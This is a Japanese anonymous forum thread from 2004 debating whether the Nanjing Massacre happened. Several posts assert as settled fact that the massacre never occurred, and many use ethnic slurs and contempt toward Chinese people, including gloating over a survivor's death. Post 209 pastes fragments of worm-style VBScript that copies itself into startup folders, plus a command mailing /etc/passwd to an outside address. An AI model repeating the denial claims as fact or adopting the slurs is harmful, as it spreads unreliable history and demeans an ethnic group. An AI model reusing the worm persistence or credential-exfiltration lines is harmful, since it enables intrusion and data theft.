101 :名無的発言者:04/11/26 23:44:23
ほんとに知りたいだけだったのになあ 残念です
やっぱりウソだったったのか

102 :名無的発言者:04/11/27 06:51:00
>>100
まず1をよみなさい。
それともうよはひらかなしかよめないのですか

103 :名無的発言者:04/11/27 07:13:40
毛沢東は人類史上最大の支那人駆除者。
アンチ支那の精神的支柱だ。その功績を称え
文化大革命虐殺記念館の設立を希望する。

104 :横から失礼:04/11/27 08:09:52
で、素朴に聞きたいんだけど、「虐殺は無かった」と断言する歴史学者っているの?
俺も知りたい。

105 :名無的発言者:04/11/27 08:49:54
便衣兵の処刑は当然。
投降兵の殺害は万国共通。

日本軍による南京市民虐殺はなかった。

>>104
小堀桂一郎、渡部昇一、高山正之、鈴木明、田中正明、阿羅健一、東中野修道、黄文雄

106 :名無的発言者:04/11/27 08:54:41
虐殺された30万人の埋葬方法を紹介キボン。
埋葬された場所は?
埋葬していないのならどんな方法で死体を処分したのか、処分方法を提示キボン。
埋めたとか焼いたとか放置したとか、何でもいいぞ。
30万人分の死体はどこに消えたの?
きっと記録ぐらいあるはず。

だって殺した証拠があるんだもの、処分した証拠ぐらいあるでしょ、30万人分。

107 :名無的発言者:04/11/27 08:55:02
>>105
ありがと。
なんか「歴史学者」じゃない人もいるような気もするけどw

>便衣兵の処刑は当然。
>投降兵の殺害は万国共通。

ってことは、「虐殺の定義」をめぐっての問題なんだね。
で、事件そのものが無かったと言い切る人はいるの?
これも素朴な疑問。


108 :名無的発言者:04/11/27 08:56:17
>>106
それは中国人に聞くべき。
日本の研究者ではサヨクの笠原ですら、30万人説は否定してる。

109 :名無的発言者:04/11/27 08:57:49
東京裁判証言の分析
http://www5b.biglobe.ne.jp/~nankin/page019.html

110 :名無的発言者:04/11/27 08:58:53
>>107
虐殺でないのなら最初から「事件」ではないのでは。

111 :名無的発言者:04/11/27 09:02:09
>>110
さすがにそれはちょっとw
ぼくはまだ「虐殺の定義」については、結論だしてない中立派だから、
事件という言葉を便宜上であれ使うしかないw

112 :名無的発言者:04/11/27 09:07:53
>>111
軍人を殺したら虐殺?
民間人を殺したら虐殺?
ゲリラを殺したら虐殺?
降伏したフリをして攻撃してきた奴を殺したら虐殺?
人数のでっち上げがあるぐらいだから、最初からでっち上げがあると思わない?
なんで諸外国(あるいは国際連盟)は、当時「南京虐殺」を取り上げなかったの?

113 :名無的発言者:04/11/27 09:13:51
>>112
君、無知すぎ。
本読まないで、NETからしか情報得てないでしょ。
その答えは書き飽きたので、ここでは退散。逃げマース。
ばいびー。

114 :名無的発言者:04/11/27 09:15:09
>>107
>ってことは、「虐殺の定義」をめぐっての問題なんだね。

同盟通信・前田雄二記者の証言
「虐殺とは戦争に関係ない住民や婦女子をむげに殺害することだろう。
ところが殺されなければならない住民婦女子は(難民区)内にあって、
日本の警備司令部によって保護されていた。
私の所属していた同盟通信の旧支局はその中にあった。
入城四日目には私たちは全員この支局に居を移し、ここに寝泊まりして取材活動をしていた。
つまり難民区内が私たちの生活圏内で、すでに商店が店を開き、露天商や大道芸人まで出て、
日常生活が回復していた。この地区の情報はちくいち私たちの耳目に入っていたのだ。
こういう中で、万はおろか、千、百、あるいは十をもって数えるほどの虐殺など行われようはずがない。
もしあれば、私たちが見逃すはずがない」

115 :名無的発言者:04/11/27 09:15:29
>>112

>>111は無知以前に論理が破綻してる。
サヨクより、こういうアフォな味方(?)のほうが迷惑だよなあ。

116 :名無的発言者:04/11/27 09:17:17
>>114

数ある史料の中から、自説に都合の良い美味しいぶぶんだけを拾い、
都合の悪いものを無視する。
これをダブルスタンダードといいます。

117 :名無的発言者:04/11/27 09:19:43
東京朝日新聞・橋本登美三郎上海支局長の証言
「南京での事件ねえ。私は全然聞いてない。
もしあれば、記者の間で話に出てるはずだ。
記者は少しでも話題になりそうな事は話をするし、それが仕事だからね。
噂としても聞いた事もない。
朝日新聞は現地で座談会もやっているが、あったのなら、
露骨ではないにしても抵抗があったとかそんな話が出るはずだが。
南京事件はなかったんだろう」

118 :名無的発言者:04/11/27 09:21:49
「史料のすりあわせ」を知らん奴がおおすぎ。

119 :名無的発言者:04/11/27 09:26:21
大阪毎日新聞 五島広作記者の証言
――第六師団は北支で感謝状をもらってないから、中支で残虐行為をやったと言う人もいますが……。
「はじめて聞いた話です。第六師団でそんなことはありませんでした。
先ほどの話同様、谷中将が処刑されてからの作り話でしょう。
戦後、中国の言い分に合わせた話がよく作られています」

――南京陥落後の第六師団の行動はどうでした
「十三日、十四日は城内掃蕩で、残虐行為などありません」

(中略)

――五島さんはいつまで南京にいましたか。
「翌年の一月十日頃までいました。
この間、南京のあちこちに行きましたが、虐殺といわれることは見ていません。
また、強姦もあったといわれますが、すでに慰安所ができてましたから、
戦後いわれていることは嘘です。(後略)」

120 :名無的発言者:04/11/27 09:38:53
>>113
へー
国際連盟の議題に南京大虐殺関連のがあったのか。
教えて、そのタイトル・開催日を。
英文でもいいから。

121 :名無的発言者:04/11/27 09:41:42
>>113
懸命な判断だ。疲れるよねえ。

122 :名無的発言者:04/11/27 09:46:01
ジサクジエン乙

123 :名無的発言者:04/11/27 09:48:17
東京日日新聞 佐藤振寿カメラマンの証言
――南京城内の様子はどうでした?
「十三日はまだ戦闘があって、中国兵があちこちにいて危険でしたが、城内はおだやかでした。(略)」

――十四日はどうでした?
「(略)
 もうこの日は難民区の近くの通りでラーメン屋が開いており、日本兵が十銭を払って食べていました。
それと十四日頃は中国人の略奪が続いて、中山路を机を運んでいる中国人や、店の戸をこじあけ手を差し込んで盗んでいる中国人もいました。
この日も一部ではまだ中国兵との戦いは続いてました。 (略)

――十六日はどうでした?
「(略)
 十六日は中山路で難民区から便衣隊を摘出しているのを見て、写真を撮ってます。
中山通りいっぱいになりましてね、
頭が坊主のものとか、ひたいに防止の跡があって日に焼けているものとか、はっきり兵士と分かる者を摘出してました。
髪の長い中国人は市民とみなされてました。」

――虐殺があったといわれてますが……。
「見てません。虐殺があったといわれてますが、十六、七日頃になると、小さい通りだけでなく、大通りにも店が出てました。
また、多くの中国人が日の丸の腕章をつけて日本兵のところに集まってましたから、とても残虐行為があったとは信じられません。」

――南京事件を聞いたのはいつですか。
「戦後です。アメリカ軍が来てからですから、昭和二十一年か二十二年頃だったと思いますが、
NHKに『真相箱』という番組があって、ここで南京虐殺があったと聞いたのがはじめてだったと思います。
たまたま聞いてましてね。
テーマ音楽にチャイコフスキーの交響曲が流れた後、機関銃の音キャーと叫ぶ市民の声があって、
ナレーターが、南京で虐殺がありました、というのですよ。
これを聞いてびっくりしましてね。嘘つけ、とまわりの人にいった記憶があります。
 十年ほど前にも朝日新聞が『中国の旅』という連載で、南京では虐殺があったといって中国人の話を掲載しましたが、
その頃、日本には南京を見た人が何人もいる訳です。
何故日本人に聞かないで、あの様な都合よく嘘を載せるのかと思いました。
当時南京にいた人は誰もあの話を信じてないでしょう。

124 :名無的発言者:04/11/27 09:56:33
>>122
オマエガナー(死語?)

125 :名無的発言者:04/11/27 09:57:07
数ある史料の中から、自説に都合の良い美味しいぶぶんだけを拾い、
都合の悪いものを無視する。
これをダブルスタンダードといいます。

126 :名無的発言者:04/11/27 09:57:23
The Nanking Atrocities: Fact and Fable

http://www.asyura.com/2002/bd17/msg/605.html

127 :名無的発言者:04/11/27 09:58:23
国際連盟での南京大虐殺の議論マダー?

128 :名無的発言者:04/11/27 10:07:31
>>113の代りに答えてやる。
国際連盟はとりあげなかった。
しかし、それは「なかった」証拠にはならん。
終わり。


129 :名無的発言者:04/11/27 10:11:16
無いモノをどうやって無いと証明するんだ。

>>128
例えば東京裁判に提出された資料で、虐殺を証拠付けるものに信憑性が乏しいと判断されれば?

130 :名無的発言者:04/11/27 10:13:40
30万人民間人コミで殺して国際連盟の議題に取り上げられないのか。
不思議だな。

131 :名無的発言者:04/11/27 19:03:30
>>125
大虐殺を肯定する資料すら無い肯定派にはうらやましいかぎりだなw

132 :名無的発言者:04/11/27 20:16:47
>>125
「南京大虐殺記念館」のことかーーーーーッ(AA略

133 :名無的発言者:04/11/27 20:43:03
【紅卍字会、城内区埋葬合計1,795体(備考 女性8 子供26)】

月日 埋葬場所 埋葬数 収容場所
12/22 清涼山後山 129 収兵橋一帯・納棺
1/26 金陵大学農場 125 西橋の池の中・納棺
2/2 五台山荒山 19 漢字路一帯・納棺
2/6 清涼山墓地 49 龍蟠里一帯・納棺
2/7 韓家巷西倉山上 151 西倉の池の中・納棺
2/11 五台山荒山 20 上海路一帯・納棺
2/14 古林寺山上 109 古林寺山・納棺
2/19 陰陽営南秀村 672 市北部各地・納棺
2/20 古林寺後山 154 龍池庵・納棺
2/22 古林寺後山 30 市北部各地・納棺
2/27 陰陽営北秀村 337 市北部各地・納棺

女性子供が圧倒的に少ないですね…

134 :名無的発言者:04/11/27 20:43:36
>>125
まさに支那人の発想だがさらに何の物証もない荒唐無稽な歴史を捏造し
国民の大多数があっさり洗脳され信じ込むところが真性のガイキチ。

135 :ニャンキチ:04/11/27 20:55:00
中国の黄帝の伝説らしいの
ですが何に書かれている話
なのかわかりません。知っ
ている方いらっしゃいます
か?
中国の昔、鏡の中の世界と
こちらの世界が一つの扉を
通じてつながっていた時代
があり、こちらの世界に鏡
の中の世界に住む者達が攻
めてきて戦いが始まり多く
の人間が死んだがこちらの
世界が勝利し、その際黄帝
が鏡の世界の者達を鏡に封
じ込め、罰としてこちらの
マネをする事を強制させた
と言う話です

136 :名無的発言者:04/11/27 21:44:28


『南京300人虐殺事件!』



こんな感じでしょう。









137 :名無的発言者:04/11/28 10:33:50

http://j.people.com.cn/2004/11/26/jp20041126_45505.html
「人民網日本語版」2004年11月26日
創価学会青年部代表団、南京大虐殺記念館を訪問





138 :名無的発言者:04/11/28 19:01:05
南京虐殺の有無を論ずる能力のない者が何を言ってもムダ。
傾聴に値する学者の発言に「否定派」が存在しないというのが
すべてを物語っているw


139 :名無的発言者:04/11/28 19:07:28
つまり、虐殺はなかったということだ

140 :名無的発言者:04/11/28 19:33:27
否定派って資料も論拠もなくただ「なかった」とオウムのように
言い続けてるだけだな

オウムで思い出したけど、オームの「修業するぞー修業するぞー!」
の自己催眠みたいなもんなんだろうな

141 :名無的発言者:04/11/28 19:47:40
>>138
傾聴に値する肯定派の学者を挙げてくださいw
>>140
そもそも資料を出す必要性があるのは否定派ではなく肯定派です、にもかかわらず
否定派は南京安全区委員会の人口統計、東宝制作「南京」などの「一次資料」を出してます
さて、いい加減大虐殺を証明する資料を出して頂けますか???

142 :名無的発言者:04/11/28 19:52:44
>>141

『南京300人虐殺事件!』



こんな感じでしょう。




143 :名無的発言者:04/11/28 21:54:48
まあ中国の国策だし、南京30万人は中共が続く限り変わらないだろうね
ホントの事は南京周辺に住んでる中国人が一番知ってるだろうな

144 :名無的発言者:04/11/29 00:46:09
>>143
かの国を甘く見てはいけないっす。
人間が万単位でポコポコ氏ヌ国っす。

145 :名無的発言者:04/11/29 00:47:47
対日賠償訴訟雨風10年
http://news.163.com/special/s/sp041126.html

146 :名無的発言者:04/11/29 02:11:51
>>1
( ゚д゚)、ペッ


147 :名無的発言者:04/11/29 17:08:49
ある商品を30万円でふっかけられた。
向こうの資料だと大変価値があるらしい。
こちら側の資料で調べると4万程度だった。
しかし適正価格を検証すると一万〜二万程度かも知れなかった。
法律違反の疑いがある商品なので、価格を付けない人もいる。
ただ、この商品が「無価値」と言う人はいない。


148 :訂正:04/11/29 18:54:37
ある商品を30万円でふっかけられた。
向こうの資料だと大変価値があるらしい。
こちら側の資料で調べると3000円程度だった。
しかし適正価格を検証する300円程度かも知れなかった。
法律違反の疑いがある商品なので、価格を付けない人もいる。
この商品が「無価値」と言う人は多い。

149 :名無的発言者:04/11/29 21:04:53
>>141
否定派の学者の名前をまず出せってば。

肯定派は1にも挙げられてるが、歴史学者はほとんど
ぜんぶと言ってもいいと思うよ

150 :名無的発言者:04/11/29 21:17:00
>>149

『南京大虐殺』はなかった!―アイリス・チャン『レイプ・オブ・南京........
小山和伸(神奈川大教授)・東中野修道(亜細亜大教授)

OK?

151 :150:04/11/29 21:20:37
捕虜の処刑を虐殺と言うならば、
日本兵の捕虜も虐殺されてるので
差し引き0と言うことで。

特に南京虐殺をシンボルに使う必要なし。
通州でも200人以上の日本人が虐殺されたが
『通州大虐殺』或いは『通州虐殺』とは言わない。

通州事件という。

南京大虐殺はなかった。。← これは世界の定説。

152 :名無的発言者:04/11/29 21:35:53
>>149
1に挙げられてるって数字がてんでパラパラなうえ一万とか四万とかじゃんw

153 :名無的発言者:04/11/29 22:42:51
ぶっちゃけ被害者数なんてどうでもいいと思ってるんだろ。

154 :名無的発言者:04/11/29 23:07:22
>>152
バラバラじゃないよ。
中間派〜否定派の認識してる事実は大体同じ。

戦闘詳報等を元に
不可抗力考慮せず。(四万・秦氏)
不可抗力考慮。(一万〜二万・板倉氏)
中国軍は司令官逃亡で捕虜資格無し。民間人処刑も向こうに責任。(東中野氏)

これらの研究者は「南京30万大虐殺」は否定してる。
しかし虐殺とされる行為があった事は、全ての研究者が認めてる。

155 :名無的発言者:04/11/29 23:09:57
>>148
わざわざ間違えた内容に書き直すなよ。


156 :150:04/11/29 23:11:06
>>154
そりゃあ戦争なんだし1人も殺されなかったなんて、
ありえんだろう?常識で考えたらわかる訳だが。

しかし、南京大虐殺はなかった。。← これは世界の定説。

157 :名無的発言者:04/11/30 00:14:56
>>154
いや>>149いわくこれが肯定派の学者らしいが・・・

158 :虐殺があったのならこんなことあり得るか?:04/11/30 00:26:50
東京新聞1995年(平成7年)8月13日(日)朝刊
<アジア解放50年後の夏・4>〜あの日南京市民は日本人を助けていた
 日本軍の投降式を取材〜卜少夫さん

「忘れもしない、一九四五年の九月九日午前九時、中国・南京の陸軍司令部だった」―――。香港在住の
雑誌社社長、卜少夫さん(86)=中国江蘇省出身=は、中国大陸で日本軍が投降文書に署名した日のこと
を今でもよく覚えている。当時、地元紙の記者だった卜さんは、投降式を取材した。
岡村寧次・陸軍大将が投降文書に署名し終わると、日本軍の代表の一人が腰の軍刀を外して水平にささげ、
中国側の何応欽代表にうやうやしく差し出し頭を下げた。卜さんは「非常に印象的だった」と語る。

159 :虐殺があったのならこんなことあり得るか?:04/11/30 00:27:46
式典は約二十分で終わり、卜さんは街へ出た。市民は勝利に酔い、街は沸き返っていたが、軍は日本人居
住民や武装解除された旧日本軍人を守っていた。当局は市民の日本人への報復を恐れ、軍に日本人の防護
を命じていた。「心配は無用だった。一般市民も物資不足で苦しかったが、日本人の生活を一生懸命に助
けていた。私はうれしくなった」
卜さんは日本の明治大学新聞学科で学び帰国後、地元紙記者となり、従軍記者も経験した。
「武漢の攻防戦、崑崙関の会戦などを取材した。日本留学で日本兵の辛苦もわかっていた。戦争を見る目
が他の記者たちと違っていたかもしれない」…

160 :機械:04/11/30 00:29:59

十数年後にはこうなってるよ。

『20世紀最大の嘘!南京30万人大虐殺!』。

日本では、今の時代誰も30万人なんていわないけど、

中国では、南京大虐殺=30万人だからね。(最近は40万人説も多い)

それ以下は、100%認めない。

これには日本の左翼もさすがに苦しいよね。

共闘出来ないから。w



161 :名無的発言者:04/11/30 00:30:00
無いんだ…

本当に無いんだ…

162 :名無的発言者:04/11/30 02:49:43
1959年の3月チベットの首都のラサで「改革解放」の名のもと「民族浄化」が開始、殺戮・
破壊・強奪・強姦が行われた。15万人の僧侶と尼僧は公開虐殺によって1400人に減らされ
た。僧侶に対しては、滑車を使い仏像の重みによる絞首刑や、尼僧に対し警棒の形をした
5万ボルトのスタンガンを性器に入れて感電死させ彼女の死体は裸のまま路上に捨てられた。
一般民衆の犠牲者は120万人におよぶ。中国は「強制断種(チベット男性の生殖機能を手術
によって奪う事)」や「強制交種(チベット女性を中国男性と交わらせ民族の血統を絶つ
事)」等の民族浄化に力を入れた。生き残った証言者によると、親の死体の上で子供に泣
きながらダンスをさせ、人民解放軍はそれを笑いながら銃殺した。「ジュネーブ法律家国
際委員会」が受理した供述書によると「何万というわが国民が殺された。軍事行動におい
てばかりでなく、個人的に、また故意に殺されたのである。(略)彼らは銃殺されたばか
りでなく、死ぬまでむち打たれたり、磔にされたり、生きながら焼かれた。溺死させられ
たり、生きたままで解剖されたり、餓死させられた者もあった。絞め殺されたり、首を吊
って殺されたり、熱湯による火傷で殺された。又、ある者は生き埋めにされたり、はらわ
たを取り除かれたり、首を切られたりして殺された。こうした殺人行為はいずれも公衆の
面前でなされた。犠牲者の同じ村人、友人たち、隣人たちは、それを見物するよう強いら
れた。」とある。
ちなみに侵略や粛清、失政による飢餓など、歴史上その数において世界最大の虐殺者は、
まぎれも無く中国で、犠牲者は自国民、他国民含め四〜六千万人といわれる。

まずは自分達のやったことを反省しなさい。


163 :名無的発言者:04/11/30 19:12:11
>>157
そもそも>>1の文章は「30万虐殺」を主張している筈なのに「30万虐殺を否定した上で、違法と思われる処刑数1万〜4万」
という説であるものを、何故か肯定意見として挙げている時点でおかしいと思うんだけど。

164 :名無的発言者:04/11/30 21:24:23
否定派ってどうして日本人なのに日本語がよめないのだろう



165 :名無的発言者:04/11/30 21:25:56
>>161
無いよ。
あるという証拠が無いから
ないという証拠があるも同然なんだな、これが

166 :名無的発言者:04/11/30 21:30:23
>>165
証拠のすりあわせで、研究者間では「虐殺行為」はあった事になってる。
↓これを全て否定して「虐殺行為が無かった」なんて言っても社会的に無意味だよ?
ハーグ規定の解釈を持ち出すならまだ理解できるが。

・戦闘詳報
・将兵の日誌、証言
・第三者(外国人)の報告
・博物館の骨←鵜呑みにはしないが
・肯定派〜否定派研究者の結論
・旧日本陸軍将校団体の調査

まあ民間人30万大虐殺は無かったろうね。

167 :名無的発言者:04/11/30 21:41:46
>>166
虐殺行為を暴きたいなら世界中の国にあたれ
特に中国とか

南京大虐殺は虚構
何故なら南京大虐殺は30万虐殺とセットされた話だから。
信じてもらいたかったらしっかりした信憑性のある数を出せばいいんだよ。

とにかく、いつまでもギャーギャー騒ぐような大虐殺はなかった
で良いだろ

168 :名無的発言者:04/11/30 21:58:00
なんだか最近「完全無かった説」がサヨクのマッチポンプに思えてきた。




169 :名無的発言者:04/11/30 22:02:09
>>168
あった派が誇大な話にしたがるから、無かった派も完全否定でちょうど良いんじゃない?
綱引きとしてw

170 :名無的発言者:04/11/30 22:08:08
「規模は小さいが虐殺はあった」ということに何の意味があるんだ?
南京大虐殺は大虐殺だから意味があったんじゃないかい?
小さい虐殺なら他と比べて見劣りするから大きな話にしたかったんだろ?中国と反日左翼は。
いまさら「規模が小さい虐殺」の話をされても「だから?」としか感想が思い浮かばんね。

171 :名無的発言者:04/11/30 22:12:27
>>166
>将兵の日誌、証言

これは信用できない。それなら、大日本帝国は当時のアサヒ新聞によれば、WW2で
大勝していたはずだ。

172 :名無的発言者:04/11/30 22:16:55
中国人は東京裁判が正当なものだと信じているとか。

まあ人治国家に「まっとうな裁判」を話しても無意味、
糞しか喰ったことのない人に飯と糞は違うと説くのに似てる。
「ルールを守りましょう」から説明を始めなきゃならん。


173 :名無的発言者:04/11/30 22:17:23

…最初の一歩で挫折しそう。。。

174 :名無的発言者:04/11/30 22:21:34
とりあえず日本のサヨクは中国に行って
「中国様、いくらなんでもあの数では馬鹿にされます。もう少し減らすましょう」と進言する。
で、「ばかもん。そんなもんわかっとるわい」と怒鳴りつけられてトボトボ帰ってくるがよい。

175 :名無的発言者:04/11/30 22:30:08
まあ、南京事件はあったってことでww

176 :名無的発言者:04/11/30 22:33:46
>>175煽りでレスのばすつもりなら、テンプレくらい作れよ・・

177 :名無的発言者:04/11/30 22:38:04
>>166
骨は偽者だろね。
それだけ中国には人骨のストックがあるって事さ。怖ろしや
だれだれの証言って言うけど、現在の事件に関する証言でも相反する証言は当然ある。
だから裁判があるわけで。相反する証言があるのは当たり前。
当時を知っている人の証言だからと信用できないのはお分かり?

178 :名無的発言者:04/11/30 22:43:20
じゃあなかったってことでww

179 :名無的発言者:04/11/30 22:46:03
>>178
お前が言うんだから多分無かったんだろう。
お前を信じるよw

180 :名無的発言者:04/11/30 22:53:19
友愛のスレだなあ、ここは

181 :名無的発言者:04/11/30 23:02:27
過去の歴史にどう対処するのが正しいですか?

1、昔のことにはこだわらずに未来志向で交流する。
2、徹底的に歴史を暴いて糾弾し続けていく。


正解は2


これが中国の小学校の授業です。上海とか香港でもこんな感じ。

182 :名無的発言者:04/11/30 23:02:47
手羽先と大根の煮込みが出来たから食べないか?

183 :名無的発言者:04/11/30 23:09:02
ダシは昆布と大蒜と唐辛子だ。

なんかまずそう…

184 :名無的発言者:04/11/30 23:25:24
>>181
歴史を悪用してるよな、中国とイスラエルは。

185 :名無的発言者:04/12/01 07:48:34
優美で平和な中国の領土、熱河に私が攻め入ったのは、1942年4月中旬であった。

 新参憲兵として、承徳憲兵隊に到着したその日、隊長憲兵中佐安産次郎か
ら、私がそれまで抱いていた、中国に行けば人殺しができ、しかもそのこと
が何よりの日本男子として名誉なことであり、忠君愛国の表現であるという
あの大和魂により、一層の鼓舞を受けた訓辞を聞かされた。それは今もなお、
私の脳裡にはっきりと残っている。
 隊長安藤は、わざと威厳を作るため肩をいからし、髪を片手で撫でながら
…「君は覚悟はできているか、この熱河は満州で一番治安の悪い、中国共産
党の巣窟だ!ここに住んでいる中国人は、皆共産党員の匪賊であり、その親
戚の奴らだ。したがって我々日本の皇軍、就中、憲兵がこの匪賊を一人残ら
ず粛正する事は非常に重要な責務である。男、女の区別なく、全部捕まえて
しまえ!そして使いものにならん奴は、子供だろうが老いぼれだろうが、全
部殺してしまえ!なまじっか情容赦する事はかえって敵を残すことになる。
さらに匪賊どもの根を絶つために、建物の一切はもちろん、草木一本も残し
てはならぬ…」と。
 私は今考えれば、隊長のこのような残忍野蛮な命令に、当時は男と生まれ
日本帝国軍人として、遠く海を渡ってやって来た出征の意義を見つけ出し、
故郷の人々が旗や織(のぼり)で私のこの出征を祝福してくれた気持ちと期
待に応える途こそ、この隊長の命令を忠実に実行し、この命令に自分の生命
を捧げて一人でも多くの中国人を殺し、一軒でも多くの家を焼き払う事であ
り、またそのことのみが生みの親への孝行であり、天皇への忠義であり、さ
らにその事が自分の将来の栄達と幸福を保証する唯一のもので、あわせてそ
れは日本国民の利益であると、私は有頂天になっていた。


186 :名無的発言者:04/12/01 07:50:13
 そして私は、丸3年半熱河の各地を、泥棒猫のように中国農民の隙を狙っ
ては襲いかかり、償いのなし得ない、大きな犯罪を積み重ねて行った。
 1943年3月19日、放火と掠奪殺人の専門組織であった、承徳憲兵
隊第二憲兵遊撃隊の一員として、熱河省興隆県芳山地区の侵略行動をして
いた時の事である。約150名の憲兵が三隊に分かれて、長城県に程近い
芳山西方の丘陵地帯に散在する中国農民の家屋を襲い、部落民を全部捕ま
え、若い男を除き、他は全部射殺してしまえ、という遊撃隊長生田省三憲
兵大尉の命令で、私の所属する佐藤分隊の十数名の憲兵は段々畑にかこま
れている窪地にむらがっている十数軒の農家を襲うことになった。

187 :japanpig:04/12/01 07:52:02
japanpig,come back home,you can see your mother change to bich.

188 :名無的発言者:04/12/01 08:28:29
英語使うシナ豚。あれか、ビックリ動物か?

189 :名無的発言者:04/12/01 18:00:24
>優美で平和な中国の領土
もうこの時点でありえないぐらい捏造だがww

190 :名無的発言者:04/12/02 07:01:55
>187=UGLY CHINK
Get out from Planet Earth! Fucking Chink!!

191 :名無的発言者:04/12/02 07:04:52
>185的売国奴さん
これでも読んで、クビ釣って…(以下省略)
1937南京攻略戦の真実: 紀伊國屋書店BookWeb
http://bookweb.kinokuniya.co.jp/guest/cgi-bin/wshosea.cgi?W-NIPS=9977202826

192 :名無的発言者:04/12/02 22:02:17
>>191
http://cache.yahoofs.jp/search/cache?u=www.history.gr.jp/nanking/
titile_hiretu_galtukai02.html&w=%22%E5%8D%97%E4%BA%AC+%E6%94%BB%E
7%95%A5+%E6%88%A6+%E3%81%AE+%E7%9C%9F%E5%AE%9F%22&d=2BE67EA00F&ou=
%2fbin%2fquery%3fp%3d%25c6%25ee%25b5%25fe%25b9%25b6%25ce%25ac%25c0
%25ef%25a4%25ce%25bf%25bf%25bc%25c2%26fr%3dtop%26hc%3d0%26hs%3d0

ウヨがネットのことで下品な喧嘩をしまくってるが、
その中に発見しますた
URL長いのでコピペでつなげてください

193 :名無的発言者:04/12/04 23:37:58
おい、やったな!
原告のジジイ支んだな!

194 :名無的発言者:04/12/05 00:21:42
南京虐殺を肯定するのは、捏造がバレた写真を使った馬鹿漫画家だけという哀れな事実

195 :名無的発言者:04/12/05 00:39:18
>>193
性別くらい知ってろ。
これだから修正主義者ってのはトンデモの集まりなんだ

196 :名無的発言者:04/12/05 04:08:19
>>194
全ての研究者が、南京で虐殺とされる行為があった事を認めている事実。
東中野教授でさえ認めている。
ハーグ規定の解釈で、不法殺害の確証が無いと言ってるだけ。

197 :名無的発言者:04/12/05 04:50:49
ここでチョット、私の取っておきのアメリカンジョークを。

マイクは職場の同僚から瞳の色がブラウンの女は浮気をすると聞いて心配になった。
そこで、仕事の途中だったが妻の瞳を確認するため家に帰った。
妻はベッドで寝転んでいた。瞳を見るとブラウンだった。
「ブラウンだ!お前浮気したな!」
するとベッドの下から男が、
「ちくしょう!何で名前まで知ってるんだ!」

どうだい、傑作だろう?

198 :名無的発言者:04/12/05 05:05:57
中国人が「あった」といっているから信用できない。
そこに「政治的な目的」があるならなおさらだ。

一度も実地的な検証は行われていないのがその証拠。
実証的な調査ができないなら「歴史学者」に出番はなく、
彼らの発言には意味がないということになる。

すでに分かっているだろうが「ナンキン虐殺」をめぐる論争は
学問研究・歴史学ではなく「政治」の問題だ。
事実はタイムマシンが発明されるか、共産党独裁が崩壊しない
限り絶対に明らかにならない。

199 :名無的発言者:04/12/05 05:12:43
>>198
資料のすりあわせで、研究者間では「虐殺行為はあった」という結論になってる。
↓これを全て否定して「虐殺行為がなかった」なんて言っても社会的に無意味だよ?
ハーグ規定の解釈を持ち出すならまだ理解できるが。

・戦闘詳報
・将兵の日誌
・第三者(外国人)の報告
・博物館の骨←鵜呑みにはしないが
・肯定派〜否定派研究者の結論
・旧日本陸軍将校団体の調査

まあ民間人30万大虐殺は無かっただろうね。


200 :ホッシュジエンの国内ニュース解説:04/12/05 07:51:37
新華社電によると、南京大虐殺の被害者で、日本政府を相手取った損害賠償
請求訴訟の原告だった李秀英(り・しゅうえい)さんが4日、中国南京市内の
病院で死去した。86歳だった。
 ̄ ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 彡ミ    ___  __    作者が子どもの頃、家に来ていた元軍人の坊さんが
  |ヽ  /|  ,,,,,,,,l /  / 証言していたそうだよ。多くは語らなかったようだが。
  |ヽ   | | ミ ・д・ミ/_/旦~~ 
  ⊥   |  ̄| ̄|| ̄ ̄ ̄ ̄ ̄| 戦争当時の行為を恥じてお坊さんになった
  凵    `TT | ̄l ̄ ̄ ̄ ̄ ̄l  人って普通、めったにいませんよね。(・A・ )

04.12.4 Yahoo「李秀英さんが死去 南京大虐殺の経験語り継ぐ」
http://headlines.yahoo.co.jp/hl?a=20041204-00000139-kyodo-int


201 :名無的発言者:04/12/05 08:02:29
    ☆チン      マチクタビレタ〜
                マチクタビレタ〜
 ☆ チン  〃   ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄
  ヽ ___\(\・∀・)<  天津ゼネストまだー?
    \_/ ⊂  ⊂_)  \______
    / ̄ ̄ ̄ ̄ ̄ ̄ ̄/|
   | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| |
   |  愛媛みかん   |/

202 :プッ お前バカじゃねーのww:04/12/05 08:30:02
>>199
戦時国際法で定められた軍服ないし徽章もつけず、民間人に入り混じって
国府軍は交戦したのですから(便衣兵)、民間死傷者の責任は国際法無視の国府軍にあります。
日本軍は平服を見ても便衣兵として交戦せざるをえません。
結果として4万の犠牲者が出たということですが、原因は国府軍側の戦時国際法違反です。
まして今の中国の「虐殺30万」は、「白髪三千丈」のたぐいです。

203 :名無的発言者:04/12/05 08:53:17
>>199
>まあ民間人30万大虐殺は無かっただろうね


だから無いって事になるんだな

204 :名無的発言者:04/12/05 09:06:19
なんなら今、ヤッてやりたい気分だ。

205 :名無的発言者:04/12/05 09:15:20
30万虐殺を肯定する学者は皆無という事実

肯定する奴は学者ぢゃないし

206 :名無的発言者:04/12/05 09:28:01
運動屋、プロ市民団体。

207 :名無的発言者:04/12/05 13:49:26
>>202
便衣兵殺害の是非とは別に、一般の拘束兵も殺害してる

208 :名無的発言者:04/12/05 14:06:57
虐殺行為ゼロ主張も30万大虐殺主張も学者じゃない。

209 :名無的発言者:04/12/05 14:57:15

c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"


210 :名無的発言者:04/12/05 14:58:37

以下のスレを誰か作ってくれ!

(読売新聞の『今年の10大ニュース』に
 中国の蛮行を投票&選出させよう!)

==以下はスレ作成依頼内容=============
以下に記す読売新聞のHPに皆でアクセスし、
『今年の10大ニュース』に
 中国の蛮行を投票し、選出させましょう。
以下にその手順を記します。
1.以下のHPにアクセス:
  http://www.yomiuri.co.jp/2004news10/boshu.htm
2.『投票』ボタンをクリック:
  『日本10大ニュースに投票する』の
